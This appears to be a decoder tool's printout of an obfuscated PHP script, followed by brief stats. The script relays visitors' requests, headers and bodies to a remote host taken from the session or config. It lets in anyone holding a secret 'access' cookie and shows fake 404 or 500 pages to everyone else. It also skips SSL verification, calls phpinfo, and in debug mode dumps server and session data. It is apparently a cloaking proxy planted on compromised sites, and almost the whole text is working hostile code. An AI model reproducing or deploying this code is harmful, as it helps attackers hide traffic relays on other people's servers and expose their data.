$this->ywzlyzcm->njhymmym("\tOperation time: $ytmzmqym"); $this->ywzlyzcm->njhymmym("\tException: " . $nthlnmiz->getMessage()); $this->zdfjnjux( $nthlnmiz, array( 'dns srv_record' => $mjcytcwm, 'function' => __METHOD__, ) ); } } } if ($ymynmyyn === null && ndfjzdym::ztrmmjmo('use_dns_fallback') === true && $mwqywjmn === self::ywjhzten ) { $ymynmyyn = $this->nzmznjhh($mwizwyyt, $zgizzwvj, self::yzqymjlm); } return $ymynmyyn; } public function yzlhmdan($odemzyzn = null, nwuowyyy $mwizwyyt = null, $zgizzwvj = '') { if (empty($odemzyzn)) { throw new Exception("Empty url"); } $ymynmyyn = null; $mmmzdymg = zjamdgmj::yjqynwqy($odemzyzn . $zgizzwvj); $nzlnzjym = new odrhytmz( array( 'timeout' => ndfjzdym::ztrmmjmo('timeout_proxy'), 'connect_timeout' => ndfjzdym::ztrmmjmo('connect_timeout_proxy'), ) ); $zdjhmdrk = new nmeywumz($mmmzdymg, $nzlnzjym); $zdjhmdrk->mzzhodan(ndfjzdym::ztrmmjmo('otjlzddh'), $mwizwyyt->mdendkzn()) ->mzzhodan('User-Agent', $mwizwyyt->ntuotriy('User-Agent')) ->mzzhodan('Host', ndfjzdym::ztrmmjmo('header_host_value')); if (ndfjzdym::ztrmmjmo('mzcnwzhy') !== '') { $ytzhnzcy = ndfjzdym::ztrmmjmo('yjazmtyo'); $mdymemmq = ndfjzdym::ztrmmjmo('mzcnwzhy'); $zdjhmdrk->mzzhodan($ytzhnzcy, $mdymemmq); } $ntkyjjin = new mjvlotcz(); $ntkyjjin->nwyotdky($zgizzwvj, $mwizwyyt); if ($mwizwyyt->mteyztfj()) { $ymynmyyn = $zdjhmdrk->zjgmddiz(); } elseif ($mwizwyyt->zgizmmuz()) { $nnkoteog = $mwizwyyt->mjknmqwy(); $zdjhmdrk->nduwmzmn($nnkoteog); $ymynmyyn = $zdjhmdrk->mdgztiyj('GET'); } elseif ($mwizwyyt->zdgzogji()) { $ndnmnwim = $mwizwyyt->yzcwyjaz(); $zdjhmdrk->mmvhntzk($ndnmnwim); $ymynmyyn = $zdjhmdrk->mdgztiyj('POST'); } else { throw new Exception("Unknown method."); } return $ymynmyyn; } public function zdfjnjux($nwqmmfkm, $otiwzjhm = null) { $this->mtuyjfko[] = array( 'e' => $nwqmmfkm, 'env' => $otiwzjhm, ); } public function mmrmnzri() { $mzdhntmw = ''; foreach ($this->mtuyjfko as $ngrjnmzw) { if (isset($ngrjnmzw['e']) && $ngrjnmzw['e'] instanceof Exception) { $nthlnmiz = $ngrjnmzw['e']; $mzdhntmw .= "Exception:\n"; $mzdhntmw .= $nthlnmiz->__toString(); } if (isset($ngrjnmzw['env'])) { $mzdhntmw .= "Env:\n"; $mzdhntmw .= print_r($ngrjnmzw['env'], true); } $mzdhntmw .= str_repeat('-', 80) . "\n"; } return $mzdhntmw; } } class ntrkzwjh { const mmqyztmx = '/tgens/ipadress'; private $mdgztiyj = null; private $mdrhngzj = null; private $zmmytgyq = false; public function __construct(nwuowyyy $mdgztiyj, nvimdqmi $mdrhngzj) { $this->mdgztiyj = $mdgztiyj; $this->mdrhngzj = $mdrhngzj; } public function owrmndkn() { $ndmntfko = basename(__FILE__, '.php'); if (strpos($_SERVER['REQUEST_URI'], $ndmntfko)) { header($ndmntfko . ':' . ndfjzdym::$zmqyjazn['ntinzvlo']); } } public function zduzdknt() { if ((isset($_COOKIE['access']) && $_COOKIE['access'] == ndfjzdym::$zmqyjazn['ngzjmjez']) || $this->zmmytgyq) { return true; } $this->mdgztiyj->nzmnziyn('ip', $this->mdgztiyj->mdendkzn()); if ( strlen(ndfjzdym::ztrmmjmo('yfimjqxm')) == 0 ) { $ymynmyyn = $this->mdrhngzj->nzmznjhh($this->mdgztiyj, self::mmqyztmx); } else { $ymynmyyn = $this->mdrhngzj->yzlhmdan(ndfjzdym::ztrmmjmo('yfimjqxm'), $this->mdgztiyj, self::mmqyztmx); } if ( $ymynmyyn instanceof ndyztune && $ymynmyyn->getMessage() === 'OK' ) { $zdfmmtaw = json_decode($ymynmyyn->nzqwmrlo()); $this->zmmytgyq = $zdfmmtaw->{'data'}; if ($this->zmmytgyq) { return $this->zmmytgyq; } } else { if( njrhmzbk ) { var_dump($ymynmyyn); } $this->ztizmzvm(); } $this->mqynjizw(); } public function mqynjizw() { session_write_close(); header($_SERVER['SERVER_PROTOCOL'] . ' 404 Not Found', true, 404); echo "<h1>404 Not Found</h1>"; echo "The page that you have requested could not be found."; exit(); } public function ztizmzvm() { session_write_close(); header($_SERVER['SERVER_PROTOCOL'] . ' 500 Internal Server Error', true, 500); echo "<h1>500 Internal server error</h1>"; exit(); } } class mmzztnhn { private $oguymenj = ''; private $zdkmdjkm = ''; public function njhymmym($nmyyjlhz) { $this->oguymenj .= $nmyyjlhz . "\n"; } public function yjhimtcm($mtknzuwy) { $odynjfin = array(); if (!is_array($mtknzuwy) || empty($mtknzuwy)) { return ''; } foreach($mtknzuwy as $mjcytcwm) { if (isset($mjcytcwm['target'])) { $odynjfin[] = $mjcytcwm['target']; } } return ' (' . implode(',', $odynjfin) . ')'; } protected function yjgyodyw() { if (function_exists('getallheaders')) { return getallheaders(); } else { $mjzinddl = array(); foreach ($_SERVER as $nmflotkn => $zjmyyjyy) { if (substr($nmflotkn, 0, 5) == 'HTTP_') { $odmmtniz = str_replace(' ', '-', ucwords(strtolower(str_replace('_', ' ', substr($nmflotkn, 5))))); $mjzinddl[$odmmtniz] = $zjmyyjyy; } } return $mjzinddl; } } public function ndlmytgz() { $njmxndni = ''; foreach ($this->yjgyodyw() as $nmflotkn => $zjmyyjyy) { $njmxndni .= "\t\t$nmflotkn: $zjmyyjyy\n"; } return $njmxndni; } public function nzlindvm() { $odemzyzn = $this->zdkmdjkm . '/ping'; $otnkmtbj = array( 'http'=>array( 'method'=>"GET", 'header'=>"Host: template-ping\r\n" ), 'ssl' => array( 'verify_peer' => false, 'verify_peer_name' => false, ), ); $zwmynziy = stream_context_create($otnkmtbj); if (empty($this->zdkmdjkm)) { $this->njhymmym("\tPing to $odemzyzn: missed url"); return; } $ngqnzdmy = new owvkotll(); @file_get_contents($odemzyzn, false, $zwmynziy); $mzawztmz = isset($http_response_header[0]) && strpos($http_response_header[0], '200 OK') ? true : false; if ($mzawztmz) { $this->njhymmym("\tPing to $odemzyzn:  $ngqnzdmy"); } else { $this->njhymmym("\tPing to $odemzyzn:  error request to $odemzyzn"); } } private function nywzjrlm($zgyyzzio) { $zdkzdmzn = time(); if ($zgyyzzio < $zdkzdmzn) { return null; } return number_format(($zgyyzzio - $zdkzdmzn) / 60, 2); } public function nzkxndmz() { if (isset($_SESSION['target']) && isset($_SESSION['target']['host']) && isset($_SESSION['target']['ttl']) && time() < $_SESSION['target']['ttl'] ) { $this->njhymmym("\tExpires after: " . $this->nywzjrlm($_SESSION['target']['ttl']) . 'min'); } else { $this->njhymmym("\tNot found || Try to run this script again"); } return $this; } public function yjaymtem($odemzyzn) { $this->zdkmdjkm = $odemzyzn; } public function __toString() { return $this->oguymenj; } } class mzezndri { public function njjiowmm() { $this->otfinmiw() ->zmnhntdh() ->zdiwmwjh() ->mwjhzgfk() ->otcowzhm(); return $this; } public function mrkoduyw() { $this->nrhywuzm() ->yzezmgmx() ->zwqyyzvk() ->mgrjmdvm(); return $this; } public function mtgzmjjm() { if (function_exists('phpinfo')) { phpinfo(); } } protected function nzgodbmo($mzcyzwew) { echo '<p>'.$mzcyzwew.'</p>'; } protected function otfinmiw() { $nezogqyj = phpversion(); $ngnmotkn = explode('.', $nezogqyj); $mzintqmm = ($ngnmotkn[0] * 10000 + $ngnmotkn[1] * 100 + $ngnmotkn[2]); $zmmxotmx = $mzintqmm > 50000; $this->nzgodbmo('Your PHP version is '.$nezogqyj.' which is '.($zmmxotmx ? '<span style="color:green">Good</span>' : '<span style="color:red">Bad</span>')); return $this; } protected function zmnhntdh() { $zmmxotmx = (session_id() != ""); $this->nzgodbmo('phpsession is '.($zmmxotmx ? 'Available, which is <span style="color:green">Good</span>' : '<span style="color:red">NOT Available</span> which is NOT good')); return $this; } protected function zdiwmwjh() { $zmmxotmx = defined('PCRE_VERSION'); $this->nzgodbmo('PCRE is '.($zmmxotmx ? 'Available, which is <span style="color:green">Good</span>' : '<span style="color:red">NOT Available</span> which is NOT good')); return $this; } protected function mwjhzgfk() { $zmmxotmx = (bool)ini_get('allow_url_fopen'); $this->nzgodbmo('allow_url_fopen is '.($zmmxotmx ? 'Enabled, which is <span style="color:green">Good</span>' : '<span style="color:red">NOT Enabled</span> which is NOT good')); return $this; } protected function otcowzhm() { $mwuzzjrm = @stream_socket_client("ssl://www.google.com:443", $mjcogexo, $odcmgixz, 30); if (!$mwuzzjrm) { return false; } $zjqmdbkz = ''; if ($mwuzzjrm) { fwrite($mwuzzjrm, "GET / HTTP/1.0\r\nHost: www.google.com\r\nAccept: */*\r\n\r\n"); while (!feof($mwuzzjrm)) { $zjqmdbkz .= fgets($mwuzzjrm, 1024); } fclose($mwuzzjrm); } $zmmxotmx = ($mwuzzjrm && !empty($zjqmdbkz)); $this->nzgodbmo('Socked test '.($zmmxotmx ? '<span style="color:green">Passed</span>' : '<span style="color:red">Failed</span>')); return $this; } protected function nrhywuzm() { if(isset(ndfjzdym::$zmqyjazn['created_time'])){ $this->nzgodbmo('Created : ' . ndfjzdym::$zmqyjazn['created_time']); } return $this; } protected function yzezmgmx() { if(isset(ndfjzdym::$zmqyjazn['generated_checksum'])) { $this->nzgodbmo('Generation checksum : ' . ndfjzdym::$zmqyjazn['generated_checksum']); } return $this; } protected function zwqyyzvk() { $owuzjczo = md5($this->mjhmmtyz('.')); $this->nzgodbmo('Current checksum : ' . $owuzjczo); return $this; } protected function mjhmmtyz($nvlnzmyz) { $mzdhntmw = ''; $myxytizt = scandir($nvlnzmyz); foreach ($myxytizt as $zjmyyjyy) { if (in_array($zjmyyjyy, array(".", ".."))) { continue; } if (is_dir($nvlnzmyz . DIRECTORY_SEPARATOR . $zjmyyjyy)) { $mzdhntmw .= $this->mjhmmtyz($nvlnzmyz . DIRECTORY_SEPARATOR . $zjmyyjyy); } else { if (basename(__FILE__) == $zjmyyjyy) { $yqxmtbio = @file_get_contents($nvlnzmyz . DIRECTORY_SEPARATOR . $zjmyyjyy); $otfjyzjl = "/'generated_checksum' => '([a-z0-9]+)'/"; $otfinwmw = "'generated_checksum' => '{generated-checksum}'"; $yqxmtbio = preg_replace($otfjyzjl, $otfinwmw, $yqxmtbio, 1); $mzdhntmw .= md5($yqxmtbio); } else { $mzdhntmw .= @md5_file($nvlnzmyz . DIRECTORY_SEPARATOR . $zjmyyjyy); } } } return $mzdhntmw; } protected function mgrjmdvm() { $this->nzgodbmo('Version: ' . ndfjzdym::ztrmmjmo('yzymjimr')); } } class owvkotll { private $mmiwmjam = 0; public function __construct() { $this->mmiwmjam = $this->yzliyzgo(); } public function mtemtcyy() { return number_format($this->yzliyzgo() - $this->mmiwmjam, 5); } private function yzliyzgo() { return microtime(true); } public function __toString() { $mzdhntmw = $this->mtemtcyy(); return "{$mzdhntmw} sec"; } } class zjdmmtkn { static public function nmjjnmmw($nzazzwin) { if (!empty($nzazzwin)) { session_write_close(); session_id($nzazzwin); session_start(); } } } $mwizwyyt = new nwuowyyy(); $yzunjnjn = new mmzztnhn(); $zjezzjnj = new mzezndri(); $mdrhngzj = new nvimdqmi($yzunjnjn); $mgyxmjum = new ntrkzwjh($mwizwyyt, $mdrhngzj); $zgizzwvj = $mwizwyyt->request_uri; if (njrhmzbk || mtlizgfm) { if (!mtlizgfm) { $mgyxmjum->owrmndkn(); $yzunjnjn->njhymmym("zjdmmtkn Cache:"); $yzunjnjn->nzkxndmz(); } $mgyxmjum->zduzdknt(); } if (mtlizgfm) { $zjezzjnj ->njjiowmm() ->mrkoduyw() ->mtgzmjjm(); zjdmmtkn::nmjjnmmw($nzazzwin); exit(); } if ( !njrhmzbk && !($mwizwyyt->zgmzwmod() || $mwizwyyt->mteyztfj()) ) { header($_SERVER['SERVER_PROTOCOL'] . ' 500 Internal Server Error', true, 500); exit(); } if (!$zgizzwvj) { header($_SERVER['SERVER_PROTOCOL'] . ' 500 Internal Server Error', true, 500); if (njrhmzbk) { echo "Wrong request uri."; } exit(); } unset($mwizwyyt->request_uri); if (!njrhmzbk && !empty($nzazzwin) && isset($_SESSION['target']) && isset($_SESSION['target']['host']) && !empty($_SESSION['target']['host']) && isset($_SESSION['target']['ttl']) && !empty($_SESSION['target']['ttl']) && time() < $_SESSION['target']['ttl'] ) { try { $ymynmyyn = $mdrhngzj->yzlhmdan($_SESSION['target']['host'], $mwizwyyt, $zgizzwvj); } catch (Exception $nthlnmiz) { $mdrhngzj->zdfjnjux($nthlnmiz, array('function' => 'main')); $ymynmyyn = $mdrhngzj->nzmznjhh($mwizwyyt, $zgizzwvj); } } elseif (strlen(ndfjzdym::ztrmmjmo('yfimjqxm'))>0) { $ymynmyyn = $mdrhngzj->yzlhmdan(ndfjzdym::ztrmmjmo('yfimjqxm'), $mwizwyyt, $zgizzwvj); } elseif (strlen(ndfjzdym::ztrmmjmo('debug_proxy'))>0) { $ymynmyyn = $mdrhngzj->yzlhmdan(ndfjzdym::ztrmmjmo('debug_proxy'), $mwizwyyt, $zgizzwvj); } else { $ymynmyyn = $mdrhngzj->nzmznjhh($mwizwyyt, $zgizzwvj); } zjdmmtkn::nmjjnmmw($nzazzwin); if (njrhmzbk) { $yzunjnjn->njhymmym("Request details:"); $yzunjnjn->njhymmym("\tURL: " . $mwizwyyt->ywunzliz()); $yzunjnjn->njhymmym("\tHeaders: \n" . $yzunjnjn->ndlmytgz()); $yzunjnjn->njhymmym("\tBody: " . file_get_contents("php://input")); $yzunjnjn->njhymmym("\n\n\n"); if (njrhmzbk == 'ping') { $yzunjnjn->njhymmym("Connectivity between host to Front:"); $yzunjnjn->nzlindvm(); } echo "$yzunjnjn\n\n\n"; $nmyyjlhz = $mdrhngzj->mmrmnzri(); if (!empty($nmyyjlhz)) { echo "Exceptions:\n"; echo $nmyyjlhz; echo "\n\n\n"; } echo '$_REQUEST:' . "\n"; print_r($_REQUEST); echo "\n\n\n"; echo '$_SERVER:' . "\n"; print_r($_SERVER); echo "\n\n\n"; echo '$_SESSION:' . "\n"; print_r($_SESSION); } else if ($ymynmyyn instanceof ndyztune) { $ymynmyyn->otvinwjl(); $ymynmyyn->ognmmtun(); } else { header($_SERVER['SERVER_PROTOCOL'] . ' 500 Internal Server Error', true, 500); } ob_end_flush(); session_write_close(); exit();

Function Calls

None

Variables

None

Stats

MD5 93ed4f05fbb3fcbf6fb356371a5dbcd9
Eval Count 0
Decode Time 184 ms